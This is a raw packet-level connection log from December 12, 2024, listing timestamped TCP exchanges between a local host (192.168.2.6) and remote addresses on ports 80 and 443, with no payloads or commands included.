Dec 12, 2024 21:50:38.680476904 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.681348085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.681410074 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.681464911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.681513071 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.682343006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.682401896 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.682449102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.682499886 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.683413982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.683473110 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.683521032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.683571100 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.684410095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.684604883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.684892893 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.685432911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.685492039 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.685533047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.685581923 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.686494112 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.686547041 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.686621904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.686674118 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.687562943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.687645912 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.687697887 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.687750101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.688522100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.688580036 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.688627005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.688677073 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.689618111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.689738989 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.689739943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.689810991 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.690599918 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.690654039 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.690815926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.690870047 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.691673040 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.691725969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.691757917 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.691807032 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.692715883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.692770004 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.693049908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.693100929 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.693953991 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.694006920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.694039106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.694088936 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.694863081 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.694917917 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.694927931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.694977045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.695769072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.695817947 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.695863962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.695911884 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.696705103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.696758032 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.696826935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.696876049 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.697758913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.697812080 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.697895050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.697946072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.698868990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.698923111 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.698971987 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.699022055 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.699841976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.699902058 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.699964046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.700035095 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.700892925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.700944901 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.701028109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.701077938 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.701874018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.701926947 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.701982021 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.702038050 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.702953100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.703005075 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.703035116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.703083038 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.703906059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.704005957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.704081059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.704190969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.705037117 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.705148935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.705168962 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.705199957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.705949068 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.706084967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.706098080 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.706224918 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.707051039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.707190990 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.707221031 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.707467079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.708059072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.708128929 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.708164930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.708214998 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.709079027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.709130049 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.709175110 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.709223032 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.710069895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.710123062 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.710205078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.710274935 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.711082935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.711133957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.711203098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.711252928 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.712127924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.712179899 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.712270021 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.712316036 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.851254940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.851304054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.851358891 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.851432085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.851773024 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.851869106 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.851994038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.852056980 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.852107048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.852163076 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.853003979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.853072882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.853135109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.853185892 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.854021072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.854083061 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.854135990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.854188919 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.855056047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.855113983 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.855202913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.855259895 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.856044054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.856105089 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.856225014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.856280088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.857059002 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.857124090 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.857178926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.857232094 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.858108997 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.858164072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.858221054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.858270884 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.859133959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.859194040 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.859277010 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.859361887 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.860121965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.860177994 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.860284090 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.860342026 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.861144066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.861202002 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.861316919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.861407995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.862231016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.862291098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.862350941 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.862405062 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.863203049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.863285065 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.863364935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.863447905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.864240885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.864320040 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.864373922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.864450932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.865293980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.865381002 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.865451097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.865539074 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.866265059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.866416931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.867300987 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.867449045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.868304968 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.868437052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.869348049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.869468927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.870347023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.870467901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.871421099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.871612072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.872412920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.872558117 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.873625040 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.873702049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.874466896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.874583006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.875355959 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.875382900 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.875593901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.875739098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.875891924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.876605988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.876698971 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.876728058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.876801968 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.877723932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.877758980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.877814054 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.877841949 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.878586054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.878643036 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.878735065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.878789902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.879635096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.879692078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.879800081 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.879849911 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.880742073 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.880800962 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.880858898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.881669998 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.881717920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.881717920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.881804943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.881850958 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.882673025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.882733107 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.882787943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.882837057 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.883712053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.883769989 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.883899927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.883951902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.884749889 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.884803057 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.884856939 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.884906054 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.885772943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.885871887 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.886807919 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.886854887 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.887027979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.887487888 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.887865067 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.888004065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.888794899 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.888869047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.888932943 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.889000893 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.889056921 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.889868975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.889928102 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.889983892 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.890037060 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.890934944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.890990973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.891123056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.891179085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.891921043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.891979933 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.892066956 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.892122984 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.892987013 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.893042088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.893119097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.893171072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.893989086 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.894047022 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.894124985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.894176006 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.895019054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.895081043 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.895136118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.895188093 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.896035910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.896096945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.896203041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.896256924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.897156000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.897217989 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.897346020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.897406101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.898104906 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.898168087 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.898211956 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.898258924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.899092913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.899143934 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.899169922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.899214983 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.900109053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.900171995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.900258064 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.900305033 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.901199102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.901246071 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.901520967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.901568890 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.902218103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.902307987 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.902337074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.902410984 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.903182983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.903256893 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.903350115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.903501987 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.904254913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.904334068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.904364109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.904437065 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.964886904 CET	443	49952	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.965616941 CET	443	49952	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.967170000 CET	443	49951	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.968218088 CET	49952	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.968259096 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.968271017 CET	443	49952	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.969702959 CET	443	49951	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.970304966 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.974421024 CET	49952	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.974473000 CET	443	49952	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.974580050 CET	49952	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.974668980 CET	443	49952	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.975090027 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.975120068 CET	443	49951	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.975173950 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.975486994 CET	49958	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.975514889 CET	443	49958	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.975627899 CET	49952	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.975653887 CET	49958	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.975676060 CET	443	49951	142.250.181.110	192.168.2.6
Dec 12, 2024 21:50:38.976867914 CET	49958	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:38.976881981 CET	443	49958	142.250.181.110	192.168.2.6
